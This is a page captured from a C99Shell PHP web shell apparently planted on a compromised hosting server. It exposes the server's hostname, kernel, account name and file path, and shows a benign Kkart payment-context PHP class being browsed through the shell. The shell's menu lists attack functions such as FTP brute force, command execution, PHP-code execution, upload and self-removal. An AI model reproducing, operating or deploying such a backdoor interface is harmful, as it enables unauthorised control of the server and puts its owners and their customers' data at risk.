!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-blocks/src/Payments/   drwxr-xr-x
Free 293.32 GB of 429.69 GB (68.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PaymentContext.php (1.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Automattic\Kkart\Blocks\Payments;

/**
 * PaymentContext class.
 */
class PaymentContext {
    
/**
     * Payment method ID.
     *
     * @var string
     */
    
protected $payment_method '';

    
/**
     * Order object for the order being paid.
     *
     * @var \KKART_Order
     */
    
protected $order;

    
/**
     * Holds data to send to the payment gateway to support payment.
     *
     * @var array Key value pairs.
     */
    
protected $payment_data = [];

    
/**
     * Magic getter for protected properties.
     *
     * @param string $name Property name.
     */
    
public function __get$name ) {
        if ( 
in_array$name, [ 'payment_method''order''payment_data' ], true ) ) {
            return 
$this->$name;
        }
        return 
null;
    }

    
/**
     * Set the chosen payment method ID context.
     *
     * @param string $payment_method Payment method ID.
     */
    
public function set_payment_method$payment_method ) {
        
$this->payment_method = (string) $payment_method;
    }

    
/**
     * Retrieve the payment method instance for the current set payment method.
     *
     * @return {\KKART_Payment_Gateway|null} An instance of the payment gateway if it exists.
     */
    
public function get_payment_method_instance() {
        
$available_gateways KKART()->payment_gateways->get_available_payment_gateways();
        if ( ! isset( 
$available_gateways$this->payment_method ] ) ) {
            return;
        }
        return 
$available_gateways$this->payment_method ];
    }

    
/**
     * Set the order context.
     *
     * @param \KKART_Order $order Order object.
     */
    
public function set_order( \KKART_Order $order ) {
        
$this->order $order;
    }

    
/**
     * Set payment data context.
     *
     * @param array $payment_data Array of key value pairs of data.
     */
    
public function set_payment_data$payment_data = [] ) {
        
$this->payment_data = [];

        foreach ( 
$payment_data as $key => $value ) {
            
$this->payment_data[ (string) $key ] = (string) $value;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.004 ]--